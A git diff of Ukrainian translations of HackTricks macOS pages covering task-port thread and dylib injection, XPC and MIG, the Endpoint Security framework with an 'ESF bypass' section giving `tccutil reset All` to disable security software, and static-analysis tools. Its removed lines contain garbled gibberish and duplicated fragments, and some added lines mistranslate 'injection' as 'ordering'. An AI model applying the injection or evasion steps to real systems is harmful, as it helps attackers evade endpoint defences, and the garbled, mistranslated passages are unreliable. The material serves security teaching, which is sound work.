@ -303,7 +304,7 @@ return 0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Скомпілюйте** попередню програму та додайте **привілеї**, щоб мати можливість впроваджувати код з тим самим користувачем (якщо ні, вам доведеться використовувати **sudo**).
|
||||
**Скомпілюйте** попередню програму та додайте **привілеї**, щоб мати можливість впроваджувати код з тим самим користувачем (якщо ні, вам знадобиться використовувати **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -509,15 +510,15 @@ return 0;
|
|||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Впровадження Dylib у потік через порт завдання
|
||||
### Впорядкування Dylib через потік за допомогою порту завдання
|
||||
|
||||
У macOS **потоки** можуть бути маніпульовані через **Mach** або за допомогою **posix `pthread` api**. Потік, який ми створили у попередньому впровадженні, був створений за допомогою Mach api, тому **він не є сумісним з posix**.
|
||||
У macOS **потоки** можуть бути керовані через **Mach** або за допомогою **posix `pthread` api**. Потік, який ми створили у попередньому впорядкуванні, був створений за допомогою Mach api, тому **він не є сумісним з posix**.
|
||||
|
||||
Було можливо **впровадити простий шелл-код** для виконання команди, оскільки **не потрібно було працювати з posix**-сумісними api, лише з Mach. **Більш складні впровадження** потребують, щоб **потік** також був **сумісним з posix**.
|
||||
Було можливо **впровадити простий shellcode** для виконання команди, оскільки **не потрібно було працювати з posix** сумісними api, лише з Mach. **Більш складні впорядкування** потребують, щоб **потік** також був **сумісним з posix**.
|
||||
|
||||
Отже, для **покращення потоку** його слід викликати **`pthread_create_from_mach_thread`**, який створить дійсний pthread. Потім цей новий pthread може **викликати dlopen** для **завантаження dylib** з системи, тому замість написання нового шелл-коду для виконання різних дій можна завантажити власні бібліотеки.
|
||||
Отже, для **покращення потоку** його слід викликати **`pthread_create_from_mach_thread`**, яка створить **дійсний pthread**. Потім цей новий pthread може **викликати dlopen** для **завантаження dylib** з системи, тому замість написання нового shellcode для виконання різних дій можна завантажити власні бібліотеки.
|
||||
|
||||
Ви можете знайти **приклади dylibs** в (наприклад, той, який генерує журнал, який потім можна прослуховувати):
|
||||
Ви можете знайти **приклади dylibs** в (наприклад, той, який генерує журнал, який ви потім можете прослуховувати):
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -814,9 +815,9 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
### Основна інформація
|
||||
|
||||
XPC, що означає міжпроцесну комунікацію XNU (ядра, що використовується в macOS), є фреймворком для **комунікації між процесами** на macOS та iOS. XPC надає механізм для здійснення **безпечних, асинхронних викликів методів між різними процесами** в системі. Це частина парадигми безпеки Apple, що дозволяє **створювати додатки з розділенням привілеїв**, де кожен **компонент** працює з **необхідними дозволами** для виконання своєї роботи, тим самим обмежуючи можливість завданої шкоди від компрометованого процесу.
|
||||
XPC, що означає міжпроцесову комунікацію XNU (ядра, що використовується macOS), є фреймворком для **комунікації між процесами** на macOS та iOS. XPC надає механізм для здійснення **безпечних, асинхронних викликів методів між різними процесами** в системі. Це частина парадигми безпеки Apple, що дозволяє **створювати додатки з розділенням привілеїв**, де кожен **компонент** працює з **необхідними дозволами** для виконання своєї роботи, тим самим обмежуючи можливість завданої шкоди від компрометованого процесу.
|
||||
|
||||
Для отримання додаткової інформації про те, як працює ця **комунікація** та як вона **може бути вразливою**, перегляньте:
|
||||
Для отримання додаткової інформації про те, як працює ця **комунікація** та як вона **може бути вразливою**, перевірте:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
||||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
|
@ -824,9 +825,9 @@ XPC, що означає міжпроцесну комунікацію XNU (яд
|
|||
|
||||
## MIG - Генератор інтерфейсу Mach
|
||||
|
||||
MIG був створений для **спрощення процесу створення коду Mach IPC**. Він, по суті, **генерує необхідний код** для взаємодії сервера та клієнта з вказаною визначенням. Навіть якщо згенерований код виглядає некрасиво, розробнику просто потрібно імпортувати його, і його код буде набагато простішим, ніж раніше.
|
||||
MIG був створений для **спрощення процесу створення коду Mach IPC**. Він в основному **генерує необхідний код** для взаємодії сервера та клієнта з вказаним визначенням. Навіть якщо згенерований код виглядає некрасиво, розробнику просто потрібно імпортувати його, і його код буде набагато простішим, ніж раніше.
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
Для отримання додаткової інформації перевірте:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
|
@ -839,17 +840,3 @@ MIG був створений для **спрощення процесу ств
|
|||
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,91 +1,84 @@
|
|||
# Системні розширення macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіть** свої хакінг-прийоми, надсилайте PR до **HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Системні розширення / Фреймворк безпеки кінцевої точки
|
||||
|
||||
На відміну від Ядерних розширень, **Системні розширення працюють в просторі користувача** замість простору ядра, що зменшує ризик аварії системи через несправність розширення.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3) (1) (1).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
|
||||
Існує три типи системних розширень: Розширення **DriverKit**, Розширення **Network** та Розширення **Безпеки кінцевої точки**.
|
||||
|
||||
### **Розширення DriverKit**
|
||||
|
||||
DriverKit є заміною для ядерних розширень, які **забезпечують підтримку апаратного забезпечення**. Воно дозволяє драйверам пристроїв (наприклад, USB, Serial, NIC та HID драйверам) працювати в просторі користувача, а не в просторі ядра. Фреймворк DriverKit включає **версії класів I/O Kit для простору користувача**, і ядро пересилає звичайні події I/O Kit в простір користувача, пропонуючи безпечне середовище для роботи цих драйверів.
|
||||
DriverKit є заміною для ядерних розширень, які **забезпечують підтримку обладнання**. Воно дозволяє драйверам пристроїв (таким як USB, Serial, NIC та HID драйвери) працювати в просторі користувача, а не в просторі ядра. Фреймворк DriverKit включає **версії простору користувача певних класів I/O Kit**, і ядро пересилає звичайні події I/O Kit в простір користувача, пропонуючи безпечне середовище для роботи цих драйверів.
|
||||
|
||||
### **Розширення Network**
|
||||
|
||||
Розширення Network надають можливість налаштування мережевих поведінок. Існує кілька типів Розширень Network:
|
||||
|
||||
* **App Proxy**: Використовується для створення клієнта VPN, який реалізує протокол VPN, орієнтований на потік. Це означає, що він обробляє мережевий трафік на основі з'єднань (або потоків), а не окремих пакетів.
|
||||
* **Packet Tunnel**: Використовується для створен цлієнта VPN, який реалізує протокол VPN, орієнтований на пакети. Це означає, що він обробляє мережевий трафік на основі окремих пакетів.
|
||||
* **App Proxy**: Використовується для створення клієнта VPN, який реалізує протокол VPN з орієнтацією на потік. Це означає, що він обробляє мережевий трафік на основі з'єднань (або потоків), а не окремих пакетів.
|
||||
* **Packet Tunnel**: Використовується для створення клієнта VPN, який реалізує протокол VPN з орієнтацією на пакет. Це означає, що він обробляє мережевий трафік на основі окремих пакетів.
|
||||
* **Filter Data**: Використовується для фільтрації мережевих "потоків". Він може відстежувати або змінювати мережеві дані на рівні потоку.
|
||||
* **Filter Packet**: Використовується для фільтрації окремих мережевих пакетів. Він може відстежувати або змінювати мережеві дані на рівні пакету.
|
||||
* **DNS Proxy**: Використовується для створення власного постачальника DNS. Він може використовуватися для відстеження або зміни запитів та відповідей DNS.
|
||||
|
||||
## Фреймворк безпекennoсті кінцевої точки
|
||||
## Фреймворк безпеки кінцевої точки
|
||||
|
||||
Endpoint Security - це фреймворк, наданий Apple в macOS, який надає набір API для системної безпеки. Він призначений для використання **вендорами безпеки та розробниками **для створення продуктів, які можуть відстежувати та контролювати діяльність системи** для виявлення та захисту від зловмисної діяльності.
|
||||
Фреймворк безпеки кінцевої точки - це фреймворк, наданий Apple в macOS, який надає набір API для системної безпеки. Він призначений для використання **вендорами безпеки та розробниками для створення продуктів, які можуть відстежувати та контролювати діяльність системи** для виявлення та захисту від зловмисної діяльності.
|
||||
|
||||
Цей фреймворк надає **колекцію API для відстеження та контролю діяльності системи**, таких як виконання процесів, події файлової системи, мережеві та ядерні події.
|
||||
|
||||
Основа цього фреймворку реалізована в ядрі, як Ядерне розширення (KEXT), розташоване в **`/System/Library/Extensions/EndpointSecurity.kext`**. Це KEXT складається з кількох ключових компонентів:
|
||||
Основа цього фреймворку реалізована в ядрі, як Ядерне розширення (KEXT), розташоване за адресою **`/System/Library/Extensions/EndpointSecurity.kext`**. Це KEXT складається з кількох ключових компонентів:
|
||||
|
||||
* **EndpointSecurityDriver**: Він діє як "точка входу" для ядерного розширення. Це основна точка взаємодії між ОС та фреймворком безпеки кінцевої точки.
|
||||
* **EndpointSecurityDriver**: Діє як "точка входу" для ядерного розширення. Це основна точка взаємодії між ОС та фреймворком безпеки кінцевої точки.
|
||||
* **EndpointSecurityEventManager**: Цей компонент відповідає за реалізацію ядерних гуків. Ядерні гуки дозволяють фреймворку відстежувати системні події, перехоплюючи системні виклики.
|
||||
* **EndpointSecurityClientManager**: Цей компонент керує комунікацією з клієнтами простору користувача, відстежує, які клієнти підключені та потребують отримувати сповіщення про події.
|
||||
і **EndpointSecurityMessageManager**: Він відправляє повідомлення та сповіщення про події клієнтам простору користувача.
|
||||
* **EndpointSecurityClientManager**: Цей компонент відповідає за взаємодію з клієнтами простору користувача, відстежує, які клієнти підключені та потребують отримання сповіщень про події.
|
||||
* **EndpointSecurityMessageManager**: Цей компонент надсилає повідомлення та сповіщення про події клієнтам простору користувача.
|
||||
|
||||
Події, які може відстежу **фреймворк безпеки кінцевої точки**, поділяються на категорії:
|
||||
Події, які може відстежувати фреймворк безпеки кінцевої точки, поділяються на:
|
||||
|
||||
* Події файлів
|
||||
* Події процесів
|
||||
* Події сокетів
|
||||
* Ядерні події (такі як завантаження/вивантаження ядерного розширення або відкриття пристрою I/O Kit)
|
||||
|
||||
### Архітектура фреймворку безпеки кіexнвої точки
|
||||
### Архітектура фреймворку безпеки кінцевої точки
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (8).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
|
||||
|
||||
**Комунікація простору користувача** з фреймворком безпеки кінцевої точки відбувається через клас IOUserClient. Використовуються два різні підкласи, залежно від типу викликача:
|
||||
**Взаємодія з простором користувача** фреймворку безпеки кінцевої точки відбувається через клас IOUserClient. Використовуються два різні підкласи, залежно від типу викликача:
|
||||
|
||||
* **EndpointSecurityDriverClient**: Це вимагає дозволу `com.apple.private.endpoint-security.manager`, який має лише процес системи `endpointsecurityd`.
|
||||
* **EndpointSecurityExternalClient**: Це вимагає дозволу `com.apple.developer.endpoint-security.client`. Це зазвичай використовується стороннім програмним забезпеченням безпеки, яке потребує взаємодії з фреймворком безпеки кінцевої точки.
|
||||
|
||||
Розширення безпеки кінцевої точки: **`libEndpointSecurity.dylib`** - це бібліотека С, яку використовують системні розширення для взаємодії з ядром. Ця бібліотека використовує I/O Kit (`IOKit`) для взаємодії з Ядерним р Fameами theами theуинс ** ** вап рsnесsnедs Endpoint ** Endpoint libредs ** theуин ки`).esies events) ** Endpoint lib theуun шstoурsнббі theууин киiniumрingsад ** Endpoint lib Endpoint lib theу).es).ingен theousп foringодs theуин ** Endpoint relevant foringедsments example the. Endpoints the. endpoint you the us ** Endpoint analysis foringед ** me Endpoint URL").sments example the. Endpoint checks a the. Endpointsments. **`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`...`. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
|
||||
Розширення безпеки кінцевої точки: **`libEndpointSecurity.dylib`** - це бібліотека С, яку використовують системні розширення для взаємодії з ядром. Ця бібліотека використовує I/O Kit (`IOKit`) для взаємодії з Ядерним розширенням безпеки кінцевої точки.
|
||||
|
||||
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security...`. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
|
||||
**`endpointsecurityd`** - це ключовий системний демон, який бере участь у керуванні та запуску системних розширень безпеки кінцевої точки, зокрема під час раннього процесу завантаження. **Тільки системні розширення**, позначені як **`NSEndpointSecurityEarlyBoot`** у їх файлі `Info.plist`, отримують цю обробку під час раннього завантаження.
|
||||
|
||||
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process...
|
||||
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
|
||||
Інший системний демон, **`sysextd`**, **перевіряє системні розширення** та переміщає їх у відповідні системні розташування. Потім він просить відповідний демон завантажити розширення. **`SystemExtensions.framework`** відповідає за активацію та деактивацію системних розширень.
|
||||
|
||||
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It ...`. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
|
||||
## Ухилення від ESF
|
||||
|
||||
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process...
|
||||
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
|
||||
|
||||
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
|
||||
|
||||
## Обхід ESF
|
||||
|
||||
ESF використовується безпековими інструментами, які спробують виявити червоного командира, тому будь-яка інформація про те, як цього уникнути, звучить цікаво.
|
||||
ESF використовується безпековими інструментами, які намагатимуться виявити червоного командира, тому будь-яка інформація про те, як цього уникнути, звучить цікаво.
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
Справа в тому, що додатку безпеки потрібно мати **повний доступ до диска**. Тому, якщо зловмисник може це видалити, він може запобігти запуску програмного забезпечення:
|
||||
Справа в тому, що додатку безпеки потрібно мати **повний доступ до диска**. Таким чином, якщо зловмисник може це видалити, він може запобігти запуску програмного забезпечення:
|
||||
```bash
|
||||
tccutil reset All
|
||||
```
|
||||
|
@ -98,16 +91,17 @@ tccutil reset All
|
|||
* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
|
||||
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приє2021-10-14єднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,41 @@
|
|||
# Додатки macOS - Інспектування, налагодження та Fuzzing
|
||||
# macOS Apps - Інспектування, налагодження та Fuzzing
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) у GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному веб-сайті** та пропонує **безкоштовні** функції для перевірки, чи були **компанія або її клієнти** **компрометовані** **шкідливими програмами-викрадачами**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Статичний аналіз
|
||||
|
||||
### otool
|
||||
### otool & objdump & nm
|
||||
```bash
|
||||
otool -L /bin/ls #List dynamically linked libraries
|
||||
otool -tv /bin/ps #Decompile application
|
||||
```
|
||||
### objdump
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
|
||||
|
@ -33,10 +46,21 @@ objdump -d /bin/ls # Dissasemble the binary
|
|||
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
nm -m ./tccd # List of symbols
|
||||
```
|
||||
### jtool2 & Disarm
|
||||
|
||||
### jtool2
|
||||
|
||||
Цей інструмент може бути використаний як **заміна** для **codesign**, **otool** та **objdump**, і надає кілька додаткових функцій. [**Завантажте його тут**](http://www.newosxbook.com/tools/jtool.html) або встановіть за допомогою `brew`.
|
||||
Ви можете [**завантажити disarm звідси**](https://newosxbook.com/tools/disarm.html).
|
||||
```bash
|
||||
ARCH=arm64e disarm -c -i -I --signature /path/bin # Get bin info and signature
|
||||
ARCH=arm64e disarm -c -l /path/bin # Get binary sections
|
||||
ARCH=arm64e disarm -c -L /path/bin # Get binary commands (dependencies included)
|
||||
ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)
|
||||
ARCH=arm64e disarm -c -d /path/bin # Get disasembled
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info
|
||||
```
|
||||
Ви можете [**завантажити jtool2 тут**](http://www.newosxbook.com/tools/jtool.html) або встановити його за допомогою `brew`.
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
@ -53,9 +77,13 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
|||
# Get MIG information
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
**jtool застарів на користь disarm**
|
||||
{% endhint %}
|
||||
|
||||
### Codesign / ldid
|
||||
|
||||
{% hint style="danger" %}
|
||||
{% hint style="success" %}
|
||||
**`Codesign`** можна знайти в **macOS**, тоді як **`ldid`** можна знайти в **iOS**
|
||||
{% endhint %}
|
||||
```bash
|
||||
|
@ -87,7 +115,7 @@ ldid -S/tmp/entl.xml <binary>
|
|||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) - це інструмент, корисний для інспектування файлів **.pkg** (інсталяторів) та перегляду їх вмісту перед встановленням.\
|
||||
Ці інсталятори мають сценарії bash `preinstall` та `postinstall`, які зловмисники зазвичай використовують для **постійного** **розповсюдження** **шкідливого** **програмного** **забезпечення**.
|
||||
Ці інсталятори мають сценарії `preinstall` та `postinstall` bash, які зловживають зловмисники для **постійного** **розповсюдження** **зловмисного** **програмного** **забезпечення**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
|
@ -97,33 +125,38 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
|||
```
|
||||
Це буде змонтовано в `/Volumes`
|
||||
|
||||
### Objective-C
|
||||
### Упаковані бінарні файли
|
||||
|
||||
#### Метадані
|
||||
* Перевірка високої ентропії
|
||||
* Перевірка рядків (чи є майже незрозумілий рядок, упакований)
|
||||
* Упаковувач UPX для MacOS генерує розділ під назвою "\_\_XHDR"
|
||||
|
||||
## Статичний аналіз Objective-C
|
||||
|
||||
### Метадані
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що програми, написані на Objective-C, **зберігають** свої оголошення класів **під час** **компіляції** у [бінарні файли Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Такі оголошення класів **включають** ім'я та тип:
|
||||
Зверніть увагу, що програми, написані на Objective-C, **зберігають** свої оголошення класів **під час** **компіляції** у [бінарних файлах Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Такі оголошення класів **включають** ім'я та тип:
|
||||
{% endhint %}
|
||||
|
||||
* Клас
|
||||
* Методи класу
|
||||
* Змінні екземпляра класу
|
||||
* Визначені інтерфейси
|
||||
* Методи інтерфейсу
|
||||
* Змінні екземпляра інтерфейсу
|
||||
* Визначені протоколи
|
||||
|
||||
Ви можете отримати цю інформацію, використовуючи [**class-dump**](https://github.com/nygard/class-dump):
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
#### Виклик функції
|
||||
